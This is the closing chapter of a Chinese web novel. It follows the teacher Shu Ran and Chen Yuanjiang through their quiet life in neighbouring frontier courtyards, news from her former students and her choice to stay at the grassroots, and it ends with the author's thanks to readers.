陈远疆的院子传来炒菜的声音,油锅滋啦的香。 晚饭很简单,一荤一素一汤。陈远疆吃得很快,吃完就收拾碗筷。舒染要帮忙,他不让。 “你歇着。”他说,“这些活儿我来。” 舒染没坚持,坐在堂屋里打量着周围的环境。 陈远疆洗好碗,擦干手出来说:“我去院里转转,你休息休息。” “好。” 他走到门口,又停下,回头:“门锁好了。夜里要是有什么事,敲敲墙,我听得见。” “知道了。” 他这才推门出去。 舒染洗漱完,回到自己房间,听着隔壁院里的动静。 陈远疆在院里站了一会儿,然后回了屋。 夜里,舒染躺床上,她想起周书记说的话,也想起陈远疆紧张回答每一个问题的样子。 她翻了个身,闭上眼睛。 这样也好。以这个时代能接受的方式让自己活得舒服点。 日子一天天过去,连通两院的花廊成了两人生活中的一部分。 傍晚,舒染在自家厨房做饭,缺了棵葱,推开月亮门,穿过十几步长的花廊,敲敲陈远疆的窗户:“借棵葱。” 陈远疆放下手里的文件,笑眯眯地看着她:“菜地里,自己拔。” 有时舒染熬夜写报告,陈远疆会端着一碗宵夜穿过花廊,放在她客厅的桌上,敲敲敞开的门:“趁热吃。”然后转身离开,不多停留。 更多时候,两人各自在院里忙活。透过花廊间隙,能看见对方的身影,偶尔抬头就会目光相遇,便笑笑又各自低头做事。 起初确有议论。“舒老师和陈主任住隔壁呢。”“还开了个月亮门,这……” 但很快,公开的解释便传开了: “那是组织上分的房,刚好相邻。” “花廊是后勤统一搭的,为了美化环境,好几个院子之间都有。” “人家是为了工作方便。综合治理和教育试点需要常协调,住得近效率高。” “再说了,两个院子,两把锁,各自独立门户。月亮门白天常开着方便走动,晚上可是各锁各的门。” 更重要的是,两人在公开场合的言行始终没有出格。工作中配合默契但保持距离,生活中相互照应但从不逾矩。时间一长,那些议论便渐渐淡了。 偶有邻居阿姨隔着篱笆打趣:“舒老师,又去找陈处长商量工作啊?” 舒染便晃晃手里的文件,坦然笑道:“是啊,有个急事要对接。” 态度磊落,倒让打趣的人不好意思了。 花廊的妙处,在于它在夏天时的感觉。 白日里,它是公开的通道,光明正大。夜幕降临后,藤蔓缠绕的廊道便成了半私密的空间。晚饭后,两人有时会在这里站一会儿,看看开始挂果的葡萄,闻闻藤花的香气,说几句闲话。 夏天夜里,舒染端着小板凳坐在自家这边的廊下乘凉,陈远疆在另一头修理物件。 冬天,雪花穿过枯藤落下。陈远疆扫完自家院里的雪,会自然地穿过月亮门,把舒染院里的主要小道也扫出来。舒染便从屋里端出热茶,两人就站在廊下,捧着杯子看雪。 时间久了,舒染住得倒有些习惯了。习惯了这个院子,习惯了这个人的存在。 至于那些世俗的形式,似乎都不重要了。 * 又一年春。 综合服务站试点成效显著,上级决定扩大范围,在更多边境团场推广。舒染牵头编写的教材被正式印发,培训过的教师回到各自岗位,边疆的基础教育事业在稳步发展。 陈远疆也忙。综合治理的工作步入正轨,他负责的治安保卫板块与教育、卫生、生产几个口子磨合得越来越好。偶尔还要配合边防部队执行任务,一去就是十天半月。 两人都习惯了这种忙碌。见面时聊工作,聊见闻,偶尔一起吃饭,多半是陈远疆下厨。他做饭的手艺越发精进,舒染笑他这是“被工作耽误的炊事员”,他也不反驳,只低头给她夹菜。 几场春雨后,院子里的蔬菜长得绿油油的,舒染撒的花种也开出了大片的花。陈远疆在墙角搭了葡萄架,说是等夏天遮阴。 四月底,舒染收到一封从首都寄来的信。拆开看,是廖承写的。内容主要是询问综合服务站的推广情况,顺便提了一句他现在负责边疆政策研究。末尾附了个地址,说如果有需要,可以联系。 舒染把信收起来,决定等工作需要再通讯。 五月,畜牧连来了人,是石头。他个子蹿得很高,肩膀宽阔,脸上还带着青涩。 “舒老师!”他在教育局门口见到舒染,激动得差点敬礼,“我考上师范了!边疆师范!” 舒染愣了几秒,随即笑起来:“好!真好!” 她带石头去食堂吃饭,听他讲这几年的变化。启明小学早就不是当初那个小学了,而是变成了九年一贯制学校,原来的学生也根据年龄分了年级。年纪大孩子去上了初中或高中,年纪小的按照学情分到小学各个年级。 连里盖了砖瓦教室,学生增加到上百人人,还有一些专职教师。阿迪力去了专业学校学兽医;栓柱在团部农机站当学徒;春草考上了职高。 “阿依曼呢?”舒染问。 “阿依曼在团部上初三,成绩可好了。”石头眼睛发亮,“她说以后要当老师,像您一样。” 舒染想起那个躲在哥哥身后的小女孩,如今也有了梦想。 “你什么时候去报到?”她问。 “下个月。”石头说,“我想先来看看您。马连长、刘书记都让我给您带好,王大姐还托我带了一罐她自己腌的咸菜。” 他从随身背的布袋里掏出个玻璃罐,里面是深绿色的雪里蕻,腌得油亮。 舒染接过罐子道:“谢谢。回去也替我给他们带好。” 石头用力点头。他吃饭很快,三下五除二就把碗里的饭吃完了。他犹豫了一下,小声说:“舒老师,我还有件事。” “你说。” “我……”石头挠挠头,“我听说您和陈特派员……在一起了?” 舒染笑了:“听谁说的?” “连里都传开了。”石头不好意思地笑,“大家都说,陈特派员人好,配得上您。” 舒染没接这话,转而问:“你一个人来的?” “嗯,坐团里的卡车来的。”石头说,“明天就回去。” “今晚住哪儿?” “招待所,他们给开了介绍信。” 舒染想了想:“晚上来家里吃饭吧。陈叔叔今天回来,让他给你做顿好的。” 石头眼睛一亮:“好!” 傍晚,陈远疆果然回来了。他见到石头,他愣了一下,随即认出人来:“石头!长这么高了。” “陈特派员!”石头站得笔直。 陈远疆摆摆手:“叫陈叔叔就行。坐。” 他去厨房忙活,舒染陪石头在堂屋说话。很快,饭菜的香味飘出来。陈远疆做了四个菜:红烧肉、炒鸡蛋、醋溜白菜,还有一盆西红柿鸡蛋汤。米饭蒸得喷香。 “吃。”陈远疆给石头夹了块肥瘦相间的红烧肉,“正长身体,多吃点。” “谢谢陈叔叔。”石头埋头吃起来。 饭桌上,陈远疆问起连里的情况。石头一五一十地说:赵卫东去年调走了,去了新垦区;许君君在团部卫生队当了副队长;李秀兰嫁人了,对方是舒染知道的那个张建军,对她很好;王大姐还是妇女代表,张罗着给连里办了个缝纫组。 “老阿肯呢?”舒染问。 “身体硬朗着呢。”石头说,“他现在可支持办学了。牧区那边的学校动员学生,他出了不少力。” 陈远疆听着,给舒染盛了碗汤,动作十分自然。 吃完饭,石头抢着洗碗。陈远疆没拦着,去书房拿了本专业书籍递给他:“带去学校看。不懂的记下来,写信问我。” 石头双手接过,眼睛又亮了:“谢谢陈叔叔!” 送走石头,天色已晚。两人在院子里站着,看天上的星星。 “时间真快。”舒染轻声说,“石头都上师范了。” “是啊。”陈远疆应了一声,“你也带出不少学生了。” “还不够。”舒染说,“距离我之前想象的桃李满天下还有些距离呢。” 陈远疆转头看她,“慢慢来。日子还长。” 六月,综合服务站推广工作全面铺开。舒染更忙了,经常要下团场指导,一去就是好几天。陈远疆也忙,两人有时半个月见不上一面。 但总有办法联系。陈远疆托人捎信,舒染收到也立刻回信。有时候信捎到时,人已经回来了。但谁也不觉得多余。 七月初,舒染去最西边的边境团场出差。那里条件艰苦,服务站刚建起来,什么都缺。她待了十天,帮着培训教师,修订教材,协调物资。回程的车上,她累得睡着了。醒来时,车已进入V城地界。 到家时已是傍晚。推开院门,看见陈远疆正在院子里浇菜。听见动静,他转过身,放下水瓢:“回来了。” “嗯。”舒染放下行李,“你怎么知道我今天回来?” “问的你们局里。”陈远疆走过来,接过她的行李,“吃饭了吗?” “路上吃了点干粮。” “我去煮面。”他转身往厨房走,走了几步又停下,回头看她,“瘦了。” 舒染笑了:“哪有。” 陈远疆没说话,进了厨房。很快,面条的香味飘出来。是西红柿鸡蛋面,还撒了葱花。舒染坐在堂屋吃面,陈远疆坐在对面看她吃。 “那边怎么样?”他问。 “还行。”舒染边吃边说,“就是缺老师。我打算回去打个报告,申请一批有意愿的师范毕业生过去。” “嗯。”陈远疆点头,“需要协调的话,跟我说。” “知道。” 吃完面,舒染去洗澡。热水是陈远疆提前烧好的,灌在大铁皮桶里,兑上凉水,温度正好。她洗完出来,头发湿漉漉地披在肩上。 陈远疆在书里客厅里看书,见她出来,放下书:“过来,帮你擦头发。” 舒染走过去,在藤椅上坐下。陈远疆拿了条干毛巾,站在她身后,轻轻擦着她的头发。动作很慢,很仔细。 “陈远疆。”舒染闭着眼睛。 “嗯?” “我有时候想,我到底想要什么样的生活。” 毛巾停了一下,又继续:“想明白了吗?” “大概吧。”舒染说,“就是现在这样。有事做,有人陪,不慌不忙的。” 陈远疆没说话。擦干头发,再用梳子轻轻梳理她的头发,动作温柔。 “对了,”舒染想起什么,“我收到一封阿迪力寄来的信。他在牧业学校表现很好,老师说可以推荐他去内地进修。” “这是好事。”陈远疆说,“这孩子有出息。” “是啊。”舒染笑了,“当年他闯进教室,指着我说‘你!坏!老师!’,谁能想到有今天。” 陈远疆也笑了。他把毛巾搭在椅背上。 夜色已深,院子里有虫鸣。 “舒染。”他忽然开口。 “嗯?” “如果……”他顿了顿,“如果有一天,你想去更远的地方,做更大的事,我会支持你。” 舒染睁开眼睛,看着他,“那你呢?” “我?”陈远疆看着她,“我就在这儿。你什么时候回来,我都在这儿。” 月光洒在院子里,蔬菜叶子在风里轻轻摇晃,发出沙沙的声响。 “陈远疆。” “嗯?” “谢谢你。”她说,“一直陪着我。” 陈远疆伸手,揽住她的肩。动作很轻,像是不敢用力。 舒染靠过去,头抵在他肩上。 两人就这样相互倚靠着,谁也没说话。 * 暑气最盛的时候,综合治理办公室开了总结会。试点工作成效显著,上级决定追加经费,扩大范围。陈远疆负责的治安保卫板块受到表扬,他上台领了奖状,下来时,舒染在台下对他竖了竖大拇指。 会后,周书记找舒染谈话:“小舒,有个事想征求你的意见。” “您说。” “上面想调你去首都,负责全全国的扫盲和基础教育工作。”周书记看着她,“级别提高,平台更大。你觉得怎么样?” 舒染沉默了一会儿。 “书记,”她开口,“我能不能不去?” 周书记有些意外:“为什么?这是个好机会。” “我知道是好机会。”舒染说,“但我更想留在基层,做具体的事。综合服务站推广才刚起步,还有很多实际困难要解决。而且,相比之前在首都所感受到的氛围,我觉得这里更适合我。” 更适合我过惬意随性的生活。 周书记听出了她的意思,笑了:“好。那我帮你和上级说明原因。” “谢谢书记。” 从书记办公室出来,舒染在走廊里遇见陈远疆。他刚从外面回来,额头上出了些汗。 “谈完了?”他问。 “嗯。”舒染点头,“我没去。” 陈远疆愣了一下,随即明白过来:“想好了?” “想好了。”舒染说,“我现在这样,挺好。” 陈远疆看着她,眼神柔和:“我怕你后悔。” 舒染的眼睛亮晶晶的,“这有什么后悔的,我能力这么强,真要想去,也难不到我。” 秋日来了。院子里的葡萄熟了,一串串挂在架子上。陈远疆摘了些,洗干净放在盘子里,两人坐在院子里吃。葡萄很甜,籽也不多。 “明年多种两棵。”陈远疆说。 “好。”舒染吐掉籽,“再种棵枣树,秋天打枣吃。” “行。” 十月底,舒染收到一沓信。有石头从师范学校寄来的,说课程很难,但很有趣;有阿迪力从牧业学校寄来的,附了一张他在实验室的照片,穿着白大褂,笑得腼腆;有栓柱从农机站寄来的;还有春草从县中学寄来的,信里夹了一片金黄的树叶。 她把信一封封看完,收进抽屉。抽屉里已经攒了厚厚一摞信,都是这些年学生们寄来的。 陈远疆在书房钉了个新书架,把她那些书和材料整理得井井有条。最上面一层,专门留出来放这些信。 “以后越来越多,得换大书架了。”他说。 “那就换。”舒染笑,“反正这些难不倒你” 初冬第一场雪落下。天气明显冷起来,炉子又烧起来了。 舒染在书房写年终总结。窗外飘着雪,屋里暖洋洋的。陈远疆在堂屋修一着把旧椅子。 舒染写累了,她放下笔走到窗前。雪越下越大,地上渐渐白了。院里的蔬菜早就收完了,土地空着,等来年开春再种。 她看了一会儿,转身去厨房泡了壶茶。陈远疆修完椅子,洗了手过来,两人坐在炉子边喝茶。 茶是陈远疆不知从哪儿弄来的茉莉花茶,香气透过热气氤氲开来。 舒染最近才发现,自己好像很久没有像这样,在非工作时间,脑子里不转着具体的工作难题了。综合服务站的推广上了轨道,各团场有了成熟的团队,她更多是把握方向和解决突发问题,不再需要事必躬亲地钉在每一个点上。 教材的修订告一段落,新一批培训出来的教师已经能独当一面。就连案头那些报告,似乎也比往年同期薄了一些。 当然,并不是事情少了,而是她处理起来更得心应手,知道什么该抓,什么该放。 “笑什么?”陈远疆的声音在旁边响起。 舒染回过神,才发现自己嘴角不知何时扬了起来。 “没什么,”她说,抿了口茶,“就是觉得……今年冬天,好像没那么赶。” 陈远疆看着她,眼神温和。“你前几年太拼了。现在这样就挺好。” “不是不拼了,”舒染立刻补充,随即又笑了,“是事情理顺了。该我扛的我扛着,但不用把所有担子都压在自己一个人肩上。下面有人能干,上面也肯放权。” 陈远疆点点头,表示听懂了她话里的意思。 “有时间了,”舒染往后靠了靠,让椅背承受身体的重量,“我翻了翻之前攒下的书,有些是吴教授寄的,有些是你带回来的,一直没空看。还从图书馆借了两本讲土壤改良的,想着开春了,院里那块地,是不是能试试种点别的。” “想种什么?”陈远疆问,语气里带了点兴趣。 “还没想好。可能先种点草莓?听说有种耐寒的品种。”舒染说着,思路又飘开,“其实也不一定非得种出什么名堂,就是觉得有这份闲心琢磨了,也挺好的。” 这话说出来,她自己心里也反应过来。是啊,有这份闲心了。不是抽空,不是挤时间,而是真的有了余裕,去关注工作之外的东西,能自如地享受生活了。 炉子里一块煤烧塌了,发出“噗”一声。 陈远疆拿起火钳拨弄了一下,让火更旺些。“你高兴就行。以前是没办法,要争,要抢,要站稳。现在不一样了。” 舒染侧头看他。他理解她,理解她很享受此刻的松弛。 “陈远疆。”她叫了一声。 “嗯?” “我现在这样,”舒染慢慢地说,像是在梳理自己的心绪,“有点时间看看书,琢磨点喜欢的事,工作也没落下……就是我以前想过的那种日子。可能没那么轰轰烈烈,但我心里踏实。” “你觉得好,就是最好。” 舒染不再说什么,重新捧起茶杯喝起来。窗外的雪还在下,屋里很暖和,身边的人让她安心。她为之奋斗的事业仍在稳步向前,而她自己也终于在这片土地上,找到了从容生活的节奏。 * 腊月二十三,小年。 舒染提前下了班,去供销社买了几张红纸,打算写春联。她没买年货,因为这些早已经被陈远疆备齐了。 回到家,陈远疆已经在厨房忙活了。他在炸麻花,油锅里滋滋响,香气飘满屋子。 “回来了?”他回头看她,“洗手,马上吃饭。” “好。” 晚饭很丰盛。炸麻花,炖羊肉,还有几个小菜。两人对坐着吃饭,聊着单位的琐事,窗外的雪又下起来。 吃完饭,舒染铺开红纸写春联。陈远疆在旁边看着,递墨递笔。 “写什么?”她问。 “你定。” 舒染想了想,写下:岁月静好耕读乐,边疆安宁家国春。 横批:平安喜乐。 陈远疆看着,点点头:“好。” 他把春联贴在大门上,红纸黑字,在雪地里格外醒目。贴完,两人站在门口看了一会儿。 “又一年了。”舒染说。 “嗯。”陈远疆应了一声,伸手拂掉她肩上的雪,“回屋吧,冷。” 屋里炉火正旺。舒染坐在书桌前,翻看这一年的工作笔记。密密麻麻的字迹,记录着去了哪些地方,见了哪些人,解决了哪些问题。 陈远疆在整理书架,把新收到的几封信放进那个专门的信匣里。信匣已经快满了。 “该换个大点的了。”他说。 “明年再说。”舒染头也不抬。 窗外,雪还在下。书房里很安静,只有翻书页的沙沙声。 舒染写完最后一页,抬起头看见陈远疆站在书架前,正小心地抚平一封信的折角。 那是她的学生寄来的信,里面夹着的树叶标本,被他用玻璃纸压好贴在书桌前的墙上。墙上已经贴了好些这样的纪念。都是些不起眼的小东西。但拼在一起,就是这些年走过的路。 “陈远疆。”舒染轻声说。 “嗯?”他回头。 “没事。”她笑了,“就是叫叫你。” 陈远疆也笑了。他走过来,站在她身边,看着窗外的大雪。 “明年在院里搭个暖棚,冬天也能种菜。” “好。” “再养一只猫吧,可以陪你放松心情。” “行。” “葡萄架该修了,明年会结得更多。” “嗯。” 舒染靠在椅背上,闭上眼睛。 这就是她要的生活了。从容,惬意,有事做,有人陪,有学生成才的消息从远方传来,有未尽的事业还在继续。 她依然是她。会为了教材修订方案据理力争,会为了师资缺口四处协调,会熬夜写报告,会下基层调研。但她不再需要绷紧神经去证明什么,不再需要把全部自我都放在工作上。她有了看闲书的余裕,琢磨种菜的余裕,在雪夜品茶的余裕。 这份余裕,是她这些年拼尽心血精力一点一点挣来的。挣来了选择的权利,挣来了说不的底气,挣来了她想要的生活节奏。 至于其他的——那些名分,那些形式,那些世俗的框框,都不重要了。 舒染睁开眼睛,伸手握住陈远疆放在椅背上的手。 他微微一顿,随即反握住她的。 此时无声,雪落无声,岁月静好。 (正文完)—— 作者有话说:宝子们,这个故事的正文部分到这里就暂告一段落了。 舒染为了找到一条满意的路走了很久。感谢你们陪她一起,陪着作者一起。 写作始终是一场充满遗憾的旅程。回头看,总会发现这里的情节可以更丰满,那里的细节可以更完善些。故事里难免会有bug,有经不起推敲的瑕疵,因我个人笔力有限,不能向大家呈现一个完美的作品。感谢大家包容了这些不完美,是你们的陪伴和评论,让舒染所在的世界变得真实。 舒染和陈远疆的故事,在正文里停在了一个恬静的时刻,但他们的生活还在继续,配角们也有各自的生活。 番外还会更新,欢迎宝子们在评论区留言,告诉我想看到的番外内容。 再次感谢,我们下个故事再见哦~《 》